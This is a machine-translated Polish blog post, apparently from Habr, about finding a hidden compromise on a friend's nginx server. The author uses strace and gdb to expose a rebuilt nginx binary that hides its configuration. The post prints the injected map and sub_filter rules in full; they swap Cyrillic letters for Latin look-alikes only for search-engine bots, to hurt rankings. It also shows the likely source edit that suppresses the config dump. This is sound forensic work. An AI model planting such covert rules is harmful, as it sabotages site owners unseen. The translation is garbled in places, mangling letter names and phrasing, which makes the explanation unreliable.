Kiedy „a” nie jest równe „a”. W wyniku włamania

Bardzo nieprzyjemna historia przydarzyła się jednemu z moich znajomych. Ale choć okazało się to nieprzyjemne dla Michaiła, dla mnie było równie zabawne.

Muszę powiedzieć, że mój przyjaciel jest całkiem UNIX-user: może samodzielnie zainstalować system mysql, php i dokonaj prostych ustawień nginx.
A ma kilkanaście, półtora stron internetowych poświęconych narzędziom budowlanym.

Jedna z tych stron poświęconych piłom łańcuchowym zajmuje czołowe miejsca w wyszukiwarkach. Ta strona jest recenzentem niekomercyjnym, ale ktoś przyzwyczaił się do jej atakowania. To DDoS, potem brutalna siła, potem piszą obsceniczne komentarze i wysyłają obelgi na hosting i do RKN.
Nagle wszystko się uspokoiło i ten spokój okazał się niedobry, a strona zaczęła stopniowo schodzić z czołówek wyników wyszukiwania.

Kiedy „a” nie jest równe „a”. W wyniku włamania

To było powiedzenie, potem historia samego administratora.

Zbliżała się pora snu, kiedy zadzwonił telefon: „San, nie spojrzysz na mój serwer? Wydaje mi się, że zostałem zhakowany, nie mogę tego udowodnić, ale to uczucie nie opuściło mnie przez trzeci tydzień. Może już czas, żebym zaczął leczyć paranoję?”

Następnie wywiązała się półgodzinna dyskusja, którą można podsumować następująco:

  • gleba do hakowania była dość żyzna;
  • osoba atakująca może uzyskać uprawnienia superużytkownika;
  • atak (jeśli miał miejsce) był wymierzony konkretnie w tę witrynę;
  • obszary problematyczne zostały poprawione i wystarczy zrozumieć, czy doszło do penetracji;
  • hack nie mógł wpłynąć na kod witryny i bazy danych.

Odnośnie ostatniego punktu.

Kiedy „a” nie jest równe „a”. W wyniku włamania

Na świat patrzy tylko biały frontendowy adres IP. Nie ma żadnej wymiany pomiędzy backendem a frontendem z wyjątkiem http(ów), użytkownicy/hasła są inni, nie wymieniano żadnych kluczy. Na szarych adresach wszystkie porty z wyjątkiem 80/443 są zamknięte. Białe adresy IP backendu znane są tylko dwóm użytkownikom, którym Michaił całkowicie ufa.

Instalowany na froncie Debian 9 a do czasu nawiązania połączenia system jest odizolowany od świata przez zewnętrzną zaporę ogniową i zatrzymany.

„OK, daj mi dostęp” – decyduję się odłożyć sen na godzinę. „Zobaczę na własne oczy”.

Tutaj i dalej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Szukam potencjalnego hacka

Uruchamiam serwer jako pierwszy tryb ratunkowy. Montuję dyski i przeglądam je autoryzować-dzienniki, historia, logi systemowe itp., jeśli to możliwe, sprawdzam daty utworzenia plików, choć rozumiem, że normalny cracker „zamieciłby” po sobie, a Misza już dużo „podeptał”, szukając siebie .

Zaczynam w trybie normalnym, jeszcze nie bardzo rozumiejąc, czego szukać, studiuję konfiguracje. Przede wszystkim jestem zainteresowany nginx ponieważ w zasadzie na froncie nie ma nic innego poza nim.
Konfiguracje są małe, dobrze zorganizowane w kilkanaście plików, po prostu je przeglądam kot'och, jeden po drugim. Wszystko wydaje się być czyste, ale nigdy nie wiadomo, czy czegoś nie przeoczyłem zawierać, pozwól, że zrobię pełną listę:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nie rozumiem: „Gdzie jest ogłoszenie?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Do pytania na liście dodano drugie pytanie: „Dlaczego tak starożytna wersja nginx?”

Ponadto system uważa, że ​​zainstalowana jest najnowsza wersja:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Dzwonię:
- Misha, dlaczego się ponownie zebrałeś nginx?
- Czekaj, nawet nie wiem, jak to zrobić!
-No dobrze, idź spać...

nginx jest wyraźnie przebudowany, a wynik zestawienia z użyciem „-T” jest ukryty nie bez powodu. Nie ma już wątpliwości co do hackowania i można to po prostu zaakceptować i (skoro Misza i tak wymienił serwer na nowy) uznać problem za rozwiązany.

I rzeczywiście, skoro ktoś dostał prawa korzeń- Ach, w takim razie ma to sens ponowna instalacja systemui nie było sensu szukać, co jest nie tak, ale tym razem ciekawość zwyciężyła sen. Jak możemy się dowiedzieć, co chcieli przed nami ukryć?

Spróbujmy prześledzić:

$ strace nginx -T

Patrzymy na to, wyraźnie nie ma wystarczającej liczby linii na śladzie a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Dla zabawy porównajmy wyniki.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Myślę, że część kodu /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

został doprowadzony do postaci:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

lub

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dlatego lista „-T” nie jest wyświetlana.

Ale jak możemy wyświetlić naszą konfigurację?

Jeśli moja myśl jest poprawna, a problem dotyczy tylko zmiennej ngx_dump_config spróbujmy go zainstalować za pomocą gdb, na szczęście jest klucz --z-opcją-cc -g obecne i mam nadzieję, że optymalizacja -O2 nie zaszkodzi nam to. Jednocześnie, bo nie wiem jak ngx_dump_config można było przetworzyć w przypadek „T”:, nie wywołamy tego bloku, ale zainstalujemy go za pomocą przypadek „t”:

Dlaczego możesz używać „-t” i „-T”Przetwarzanie blokowe if(ngx_dump_config) dzieje się wewnątrz if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Oczywiście, jeśli kod zostanie zmieniony w tej części, a nie w przypadek „T”:, to moja metoda nie zadziała.

Przetestuj plik nginx.confPo eksperymentalnym rozwiązaniu problemu ustalono, że do działania szkodliwego oprogramowania wymagana jest minimalna konfiguracja nginx typ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Będziemy go używać dla zwięzłości w artykule.

Uruchom debuger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Krok po kroku:

  • ustaw punkt przerwania w funkcji Głównym ()
  • uruchom program
  • zmień wartość zmiennej określającej dane wyjściowe konfiguracji ngx_dump_config=1
  • kontynuować/zakończyć program

Jak widzimy, rzeczywista konfiguracja różni się od naszej, wybieramy z niej pasożytniczy fragment:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Przyjrzyjmy się po kolei temu, co się tutaj dzieje.

Są zdeterminowani User-AgentYandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Strony serwisowe są wyłączone wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Oraz dla tych, którzy spełniają oba powyższe warunki

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

w tekście html-zmiany stron „O” na „O” и 'A' na 'za':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Zgadza się, jedyna subtelność polega na tym „a”! = „a” jak również „o”! = „o”:

Kiedy „a” nie jest równe „a”. W wyniku włamania

W ten sposób boty wyszukiwarek otrzymują zamiast zwykłego tekstu zapisanego w 100% cyrylicą zmodyfikowane śmieci rozcieńczone łaciną 'za' и „O”. Nie odważę się dyskutować, jak to wpływa na SEO, ale jest mało prawdopodobne, aby taka plątanina liter miała pozytywny wpływ na pozycje w wynikach wyszukiwania.

Cóż mogę powiedzieć, chłopaki z wyobraźnią.

referencje

Debugowanie za pomocą GDB
gdb(1) — strona podręcznika systemu Linux
strace(1) — strona podręcznika systemu Linux
Nginx — moduł ngx_http_sub_module
O piłach, piłach łańcuchowych i piłach elektrycznych

Źródło: www.habr.com

Dodaj komentarz